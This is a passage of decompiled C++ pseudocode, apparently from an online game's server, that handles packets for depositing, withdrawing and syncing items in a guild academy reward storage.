*)&DepositPacketBuffer[16] = v20; LOBYTE(v20) = *(_BYTE *)(iteminfo + 20); *(_WORD *)&DepositPacketBuffer[20] = v19; v21 = *(_DWORD *)(iteminfo + 21); DepositPacketBuffer[22] = v20; v22 = *(_DWORD *)(iteminfo + 25); *(_DWORD *)&DepositPacketBuffer[23] = v21; v23 = *(_DWORD *)(iteminfo + 29); *(_DWORD *)&DepositPacketBuffer[27] = v22; v24 = *(_DWORD *)(iteminfo + 33); *(_DWORD *)&DepositPacketBuffer[31] = v23; DepositPacket.pp_PacketLength = 0; DepositPacket.pp_BufferSize = 69; *(_DWORD *)&DepositPacketBuffer[35] = v24; if ( !ProtocolPacket::pp_SetPacketLen(&DepositPacket, 39) ) goto LABEL_4; v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); } else { *(_WORD *)DepositPacketBuffer = *(_WORD *)DepositPacketBuffer & 0x3FF | 0x9800; v4 = *(_BYTE *)iteminfo; DepositPacket.pp_Buffer = DepositPacketBuffer; *(_WORD *)DepositPacketBuffer = *(_WORD *)DepositPacketBuffer & 0xFC73 | 0x73; v5 = *(_BYTE *)(iteminfo + 1); DepositPacketBuffer[2] = v4; v6 = *(_DWORD *)(iteminfo + 2); DepositPacketBuffer[3] = v5; v7 = *(_DWORD *)(iteminfo + 6); *(_DWORD *)&DepositPacketBuffer[4] = v6; v8 = *(_DWORD *)(iteminfo + 10); *(_DWORD *)&DepositPacketBuffer[8] = v7; v9 = *(_DWORD *)(iteminfo + 14); *(_DWORD *)&DepositPacketBuffer[12] = v8; LOWORD(v8) = *(_WORD *)(iteminfo + 18); *(_DWORD *)&DepositPacketBuffer[16] = v9; LOBYTE(v9) = *(_BYTE *)(iteminfo + 20); *(_WORD *)&DepositPacketBuffer[20] = v8; v10 = *(_DWORD *)(iteminfo + 21); DepositPacketBuffer[22] = v9; v11 = *(_DWORD *)(iteminfo + 25); *(_DWORD *)&DepositPacketBuffer[23] = v10; v12 = *(_DWORD *)(iteminfo + 29); v13 = *(_DWORD *)(iteminfo + 33); *(_DWORD *)&DepositPacketBuffer[27] = v11; DepositPacket.pp_PacketLength = 0; DepositPacket.pp_BufferSize = 69; *(_DWORD *)&DepositPacketBuffer[31] = v12; *(_DWORD *)&DepositPacketBuffer[35] = v13; if ( !ProtocolPacket::pp_SetPacketLen(&DepositPacket, 39) ) { LABEL_4: AssertClass::ac_AssertFail( &shineassert, "ShineGuildAcademyRewardStorageItemInfoZonRng::lid_Call : Packet Too Long", 39); return; } v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); } (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, v3, &DepositPacket); } } //----- (0044FEA0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5B0654: using guessed type int (__stdcall *List_GuildAcademyRewardStorage__GuildAcademyRewardStorageElement____vftable_[3])(__int16 hnd); //----- (0044FEC0) -------------------------------------------------------- void __thiscall ItemTotalInformation::iti_clear(ItemTotalInformation *this) { *(_DWORD *)&this->iti_registnum.binary.gap0[0] = -1; this->iti_registnum.binary._bf4 = -1; memset(&this->iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&this->iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(this->iti_itemstruct.itemattr.binditem.portal[9].y) = 0; this->iti_itemstruct.itemid = -1; } //----- (0044FEF0) -------------------------------------------------------- void __thiscall ItemInventoryCell::iic_Clear(ItemInventoryCell *this) { *(_DWORD *)&this->iic_Item.iti_registnum.binary.gap0[0] = -1; this->iic_Item.iti_registnum.binary._bf4 = -1; memset(&this->iic_Item.iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&this->iic_Item.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(this->iic_Item.iti_itemstruct.itemattr.binditem.portal[9].y) = 0; this->iic_Item.iti_itemstruct.itemid = -1; this->iic_AttrProc = (ItemAttributeClass *)&itmattcontainer; } //----- (0044FF20) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::_GuildAcademyRewardStorageManager(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->garsm_StorageArray, 0x20B8u, 500, (void (__thiscall *)(void *))GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::_GuildAcademyRewardStorageElement); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5B0654: using guessed type int (__stdcall *List_GuildAcademyRewardStorage__GuildAcademyRewardStorageElement____vftable_[3])(__int16 hnd); //----- (0044FF90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError(void *this, __int16 err) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26514; *((_WORD *)v3 + 1) = err; v3[12] = 0; *((_DWORD *)v3 + 1) = 0; *((_DWORD *)v3 + 2) = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError : Packet Too Long", 13); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError"); } //----- (00450080) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v2; // esi@1 int v3; // eax@4 int v4; // edi@4 int v5; // edx@5 int v6; // edi@6 int v7; // eax@6 int v8; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ring->type == 2 ) v2->garse_Cen = ring->storage_cen; if ( ring->type == 1 ) { v3 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); v4 = (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v3 + 112) + 24))(v3 + 8); if ( (unsigned int)v4 > ring->___u8.lot ) { v6 = v4 - LODWORD(ring->___u8.lot); v7 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); (*(void (__stdcall **)(_DWORD, _DWORD))(**(_DWORD **)(v7 + 112) + 28))(v7 + 8, v6); } else { v5 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); *(_DWORD *)v5 = -1; *(_DWORD *)(v5 + 4) = -1; memset((void *)(v5 + 8), 0, 0x64u); *(_WORD *)(v5 + 108) = 0; *(_BYTE *)(v5 + 110) = 0; *(_WORD *)(v5 + 8) = -1; *(_DWORD *)(v5 + 112) = &itmattcontainer; } } if ( !ring->type ) { v8 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); *(_DWORD *)v8 = -1; *(_DWORD *)(v8 + 4) = -1; memset((void *)(v8 + 8), 0, 0x64u); *(_WORD *)(v8 + 108) = 0; *(_BYTE *)(v8 + 110) = 0; *(_WORD *)(v8 + 8) = -1; *(_DWORD *)(v8 + 112) = &itmattcontainer; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther"); } //----- (004501F0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v2; // esi@1 int v3; // edx@2 int v4; // ebx@2 int v5; // ecx@2 int v6; // eax@4 int v7; // ebx@4 int v8; // eax@4 int v9; // edx@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ring->type == 2 ) { v3 = LODWORD(ring->___u8.lot); v4 = LODWORD(v2->garse_Cen); v5 = HIDWORD(v2->garse_Cen); LODWORD(v2->garse_Cen) = v3 + v4; HIDWORD(v2->garse_Cen) = HIDWORD(ring->___u8.lot) + __CFADD__(v3, v4) + v5; } if ( ring->type == 1 ) { v6 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); v7 = LODWORD(ring->___u8.lot) + (*(int (__stdcall **)(int))(**(_DWORD **)(v6 + 112) + 24))(v6 + 8); v8 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); (*(void (__stdcall **)(int, int))(**(_DWORD **)(v8 + 112) + 28))(v8 + 8, v7); } if ( !ring->type ) { v9 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); *(_DWORD *)v9 = -1; *(_DWORD *)(v9 + 4) = -1; memset((void *)(v9 + 8), 0, 0x64u); *(_WORD *)(v9 + 108) = 0; *(_BYTE *)(v9 + 110) = 0; *(_WORD *)(v9 + 8) = -1; *(_DWORD *)(v9 + 112) = &itmattcontainer; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"); } //----- (00450320) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_ItemInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v2; // ebp@1 SHINE_INVEN_SLOT_INFO v3; // ST00_16@4 SHINE_INVEN_SLOT_INFO v4; // ST00_16@6 int v5; // edi@8 ItemTotalInformation *v6; // ebx@10 int v7; // ebp@17 int v8; // eax@17 int v9; // eax@21 unsigned int v10; // ebp@21 int v11; // ebx@21 int v12; // eax@21 char *v13; // [sp-4h] [bp-A0h]@2 ItemTotalInformation *tocell; // [sp+10h] [bp-8Ch]@10 ItemInventoryCell changeitemcell; // [sp+18h] [bp-84h]@17 unsigned int cookie; // [sp+8Ch] [bp-10h]@33 int v17; // [sp+98h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( ring ) { if ( (HIBYTE(ring->From.inven.Inven) & 0xFC || (*(_QWORD *)&v3.ItmeReg.binary.gap0[0] = *(_QWORD *)&ring->From.ItmeReg.binary.gap0[0], *(_QWORD *)&v3.ItemID = *(_QWORD *)&ring->From.ItemID, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SlotInfoCheck(v2, v3))) && (HIBYTE(ring->To.inven.Inven) & 0xFC || (*(_QWORD *)&v4.ItmeReg.binary.gap0[0] = *(_QWORD *)&ring->To.ItmeReg.binary.gap0[0], *(_QWORD *)&v4.ItemID = *(_QWORD *)&ring->To.ItemID, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SlotInfoCheck(v2, v4))) ) { v5 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->From.inven.Inven & 0x3FF); if ( v5 ) { v6 = (ItemTotalInformation *)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell( (ItemBag *)v2, ring->To.inven.Inven & 0x3FF); tocell = v6; if ( v6 ) { switch ( ring->Type ) { case 0: case 1: if ( !(ring->From.inven.Inven & 0xFC00) ) ItemInventoryCell::iic_Clear((ItemInventoryCell *)v5); if ( !(ring->To.inven.Inven & 0xFC00) ) goto LABEL_30; break; case 2: if ( !(HIBYTE(ring->From.inven.Inven) & 0xFC) ) { ItemInventoryCell::ItemInventoryCell(&changeitemcell); LOBYTE(v17) = 1; ItemInventoryCell::iic_StoreItem(&changeitemcell, &ring->ChangeIteminfo); v7 = (*(int (__stdcall **)(int))(**(_DWORD **)(v5 + 112) + 24))(v5 + 8); v8 = ((int (__stdcall *)(SHINE_ITEM_STRUCT *))changeitemcell.iic_AttrProc->vfptr->iac_GetLot)(&changeitemcell.iic_Item.iti_itemstruct); ItemInventoryCell::iic_ItemLot((ItemInventoryCell *)v5, v7 - v8); LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&changeitemcell); } if ( !(HIBYTE(ring->To.inven.Inven) & 0xFC) ) goto LABEL_30; break; case 3: if ( !(HIBYTE(ring->From.inven.Inven) & 0xFC) ) { ItemInventoryCell::ItemInventoryCell(&changeitemcell); LOBYTE(v17) = 2; ItemInventoryCell::iic_StoreItem(&changeitemcell, &ring->ChangeIteminfo); v9 = (*(int (__stdcall **)(int))(**(_DWORD **)(v5 + 112) + 24))(v5 + 8); v10 = ring->To.Lot; v11 = v9; v12 = ((int (__stdcall *)(SHINE_ITEM_STRUCT *))changeitemcell.iic_AttrProc->vfptr->iac_GetLot)(&changeitemcell.iic_Item.iti_itemstruct); ItemInventoryCell::iic_ItemLot((ItemInventoryCell *)v5, v10 - (v12 - v11)); LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&changeitemcell); v6 = tocell; } if ( !(HIBYTE(ring->To.inven.Inven) & 0xFC) ) goto LABEL_30; break; case 4: if ( !(ring->From.inven.Inven & 0xFC00) ) { if ( (ring->To.inven.Inven & 0xFC00) == 9216 ) ItemInventoryCell::iic_StoreItem((ItemInventoryCell *)v5, &ring->ChangeIteminfo); if ( !(ring->From.inven.Inven & 0xFC00) && !(ring->To.inven.Inven & 0xFC00) ) { ItemInventoryCell::iic_StoreItem((ItemInventoryCell *)v5, v6); LABEL_30: ItemInventoryCell::iic_StoreItem((ItemInventoryCell *)v6, &ring->ChangeIteminfo); } } break; default: break; } } v17 = -1; } else { v17 = -1; } v13 = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; } else { v2->garse_Activate = 0; v17 = -1; v13 = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; } } else { AssertClass::ac_AssertFail( &shineassert, "GuildAcademyRewardStorageElement::garse_ItemInfoZoneRngAtOther - ring null", 0); v17 = -1; v13 = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); __security_check_cookie(cookie); } //----- (00450620) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_RewardInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring) { PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v2; // ebp@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v3; // ebx@1 int v4; // edi@4 int v5; // eax@5 ItemInventoryCell *v6; // esi@5 int v7; // eax@11 unsigned int v8; // ecx@11 signed int ringa; // [sp+Ch] [bp+4h]@3 v2 = ring; v3 = this; if ( ring ) { this->garse_Cen = ring->Storage_Cen; ringa = 0; if ( v2->Reward_ItemNum ) { v4 = (int)&v2[1]; do { v5 = (int)v3->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v3, *(_WORD *)(v4 + 3) & 0x3FF); v6 = (ItemInventoryCell *)v5; if ( !v5 || *(_WORD *)(v5 + 8) != *(_WORD *)(v4 + 1) ) break; if ( *(_BYTE *)v4 ) { if ( *(_BYTE *)v4 == 1 ) { v7 = (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v5 + 112) + 24))(v5 + 8); v8 = *(_DWORD *)(v4 + 5); if ( v7 <= v8 ) return; ItemInventoryCell::iic_ItemLot(v6, v7 - v8); } } else { if ( (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v5 + 112) + 24))(v5 + 8) != *(_DWORD *)(v4 + 5) ) return; ItemInventoryCell::iic_Clear(v6); } v4 += 9; ++ringa; } while ( ringa < v2->Reward_ItemNum ); } } else { AssertClass::ac_AssertFail( &shineassert, "GuildAcademyRewardStorageElement::garse_RewardInfoZoneRngAtOther - ring null", (int)ring); } } //----- (004506F0) -------------------------------------------------------- void __thiscall ShineGuildAcademyRewardStorageWithdraw::ShineGuildAcademyRewardStorageWithdraw(ShineGuildAcademyRewardStorageWithdraw *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring) { ShineGuildAcademyRewardStorageWithdraw *v2; // eax@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_CMD *v3; // edx@1 v2 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageWithdraw::_vftable_; this->ShineGuildAcademyRewardStorageWithdrawPacket.pp_Buffer = 0; this->ShineGuildAcademyRewardStorageWithdrawPacket.pp_PacketLength = 0; this->sgarsw_GuildNo = ring->gldregnum; this->ShineGuildAcademyRewardStorageWithdrawPacket.pp_BufferSize = 69; v2->ShineGuildAcademyRewardStorageWithdrawPacket.pp_Buffer = v2->ShineGuildAcademyRewardStorageWithdrawPacketBuffer; *(_WORD *)&this->ShineGuildAcademyRewardStorageWithdrawPacketBuffer[0] = -26509; v2->sgarsw_NetCommand = (NETCOMMAND *)v2->ShineGuildAcademyRewardStorageWithdrawPacketBuffer; v2->sgarsw_WithdrawPacket = (PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_CMD *)&v2->ShineGuildAcademyRewardStorageWithdrawPacketBuffer[2]; this->ShineGuildAcademyRewardStorageWithdrawPacketBuffer[2] = ring->who; this->sgarsw_WithdrawPacket->type = ring->type; v3 = this->sgarsw_WithdrawPacket; *(_QWORD *)&v3->charid.n4_name[0] = *(_QWORD *)&ring->charid.n4_name[0]; *(_QWORD *)&v3->charid.n4_name[8] = *(_QWORD *)&ring->charid.n4_name[8]; this->sgarsw_WithdrawPacket->item = ring->item; this->sgarsw_WithdrawPacket->slot = ring->slot; this->sgarsw_WithdrawPacket->___u5.lot = ring->___u8.lot; this->sgarsw_WithdrawPacket->storage_cen = ring->storage_cen; this->sgarsw_Why = ring->why; } // 5B0860: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageWithdraw___vftable_)(int, __int16 GuildInven); //----- (00450790) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring) { ShineGuildAcademyRewardStorageWithdraw sgsw; // [sp+4h] [bp-78h]@1 unsigned int cookie; // [sp+6Ch] [bp-10h]@1 int v4; // [sp+78h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; ShineGuildAcademyRewardStorageWithdraw::ShineGuildAcademyRewardStorageWithdraw(&sgsw, ring); LOBYTE(v4) = 1; List::l_4AllInList(dword_124E32CC, (ListIteratorDefault *)&sgsw); --funcallanalizer.fca_stackpoint; sgsw.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member"); __security_check_cookie(cookie); } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00450860) -------------------------------------------------------- void __thiscall ShineGuildAcademyRewardStorageDeposit::ShineGuildAcademyRewardStorageDeposit(ShineGuildAcademyRewardStorageDeposit *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring) { ShineGuildAcademyRewardStorageDeposit *v2; // eax@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_CMD *v3; // edx@1 v2 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageDeposit::_vftable_; this->ShineGuildAcademyRewardStorageDepositPacket.pp_Buffer = 0; this->ShineGuildAcademyRewardStorageDepositPacket.pp_PacketLength = 0; this->sgarsd_GuildNo = ring->gldregnum; this->ShineGuildAcademyRewardStorageDepositPacket.pp_BufferSize = 69; v2->ShineGuildAcademyRewardStorageDepositPacket.pp_Buffer = v2->ShineGuildAcademyRewardStorageDepositPacketBuffer; *(_WORD *)&this->ShineGuildAcademyRewardStorageDepositPacketBuffer[0] = -26507; v2->sgarsd_NetCommand = (NETCOMMAND *)v2->ShineGuildAcademyRewardStorageDepositPacketBuffer; v2->sgarsd_DepositPacket = (PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_CMD *)&v2->ShineGuildAcademyRewardStorageDepositPacketBuffer[2]; this->ShineGuildAcademyRewardStorageDepositPacketBuffer[2] = ring->who; this->sgarsd_DepositPacket->type = ring->type; v3 = this->sgarsd_DepositPacket; *(_QWORD *)&v3->charid.n4_name[0] = *(_QWORD *)&ring->charid.n4_name[0]; *(_QWORD *)&v3->charid.n4_name[8] = *(_QWORD *)&ring->charid.n4_name[8]; this->sgarsd_DepositPacket->item = ring->item; this->sgarsd_DepositPacket->slot = ring->slot; this->sgarsd_DepositPacket->___u5.lot = ring->___u8.lot; this->sgarsd_DepositPacket->storage_cen = ring->storage_cen; this->sgarsd_Why = ring->why; } // 5B08C0: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageDeposit___vftable_)(int, __int16 GuildInven); //----- (00450900) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring) { ShineGuildAcademyRewardStorageDeposit sgsd; // [sp+4h] [bp-78h]@1 unsigned int cookie; // [sp+6Ch] [bp-10h]@1 int v4; // [sp+78h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; ShineGuildAcademyRewardStorageDeposit::ShineGuildAcademyRewardStorageDeposit(&sgsd, ring); LOBYTE(v4) = 1; List::l_4AllInList(dword_124E32CC, (ListIteratorDefault *)&sgsd); --funcallanalizer.fca_stackpoint; sgsd.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); __security_check_cookie(cookie); } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004509D0) -------------------------------------------------------- void __thiscall ShineGuildAcademyRewardStorageItemInfoZonRng::ShineGuildAcademyRewardStorageItemInfoZonRng(ShineGuildAcademyRewardStorageItemInfoZonRng *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring) { PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *v2; // esi@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *v3; // esi@1 this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageItemInfoZonRng::_vftable_; *(_QWORD *)&this->sgarsiizr_Withdraw.charid.n4_name[8] = 0i64; *(_QWORD *)&this->sgarsiizr_Withdraw.charid.n4_name[0] = 0i64; *(_QWORD *)&this->sgarsiizr_Deposit.charid.n4_name[8] = 0i64; *(_QWORD *)&this->sgarsiizr_Deposit.charid.n4_name[0] = 0i64; this->sgarsiizr_ItemInfo = ring; this->sgarsiizr_Withdraw.who = ring->Who; this->sgarsiizr_Withdraw.type = 0; *(_QWORD *)&this->sgarsiizr_Withdraw.charid.n4_name[0] = *(_QWORD *)&ring->Charid.n4_name[0]; *(_QWORD *)&this->sgarsiizr_Withdraw.charid.n4_name[8] = *(_QWORD *)&ring->Charid.n4_name[8]; v2 = this->sgarsiizr_ItemInfo; this->sgarsiizr_Withdraw.item = v2->From.ItemID; this->sgarsiizr_Withdraw.slot = LOBYTE(v2->From.inven.Inven); this->sgarsiizr_Withdraw.___u5.lot = 0i64; this->sgarsiizr_Withdraw.storage_cen = 0i64; this->sgarsiizr_Deposit.who = v2->Who; this->sgarsiizr_Deposit.type = 0; *(_QWORD *)&this->sgarsiizr_Deposit.charid.n4_name[0] = *(_QWORD *)&v2->Charid.n4_name[0]; *(_QWORD *)&this->sgarsiizr_Deposit.charid.n4_name[8] = *(_QWORD *)&v2->Charid.n4_name[8]; v3 = this->sgarsiizr_ItemInfo; this->sgarsiizr_Deposit.item = v3->From.ItemID; this->sgarsiizr_Deposit.slot = LOBYTE(v3->From.inven.Inven); this->sgarsiizr_Deposit.___u5.lot = 0i64; this->sgarsiizr_Deposit.storage_cen = 0i64; } // 5B0920: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageItemInfoZonRng___vftable_)(int, __int16 handle); //----- (00450A80) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendItemInfoZoneRng2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring) { ShineGuildAcademyRewardStorageItemInfoZonRng sgsd; // [sp+4h] [bp-64h]@2 unsigned int cookie; // [sp+58h] [bp-10h]@3 int v4; // [sp+64h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( ring ) { ShineGuildAcademyRewardStorageItemInfoZonRng::ShineGuildAcademyRewardStorageItemInfoZonRng(&sgsd, ring); LOBYTE(v4) = 1; List::l_4AllInList(dword_124E32CC, (ListIteratorDefault *)&sgsd); sgsd.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } --funcallanalizer.fca_stackpoint; v4 = -1; 